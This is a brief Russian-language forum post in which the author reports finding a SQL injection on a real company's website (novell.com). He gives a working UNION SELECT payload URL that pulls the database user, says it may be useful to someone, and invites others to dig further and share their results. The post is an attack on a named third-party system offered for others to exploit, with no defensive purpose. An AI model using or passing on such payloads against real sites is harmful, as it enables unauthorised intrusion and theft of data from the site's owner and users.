Вот нарыл sql-inj на novell.com Code: http://www.novell.com/russia/news/?news=-99+union+select+1,2,user(),4,5,6,7,8/* Мб кому пригодится Копать сейчас нет времени... Кто, что нароет - отписываемся здесь...
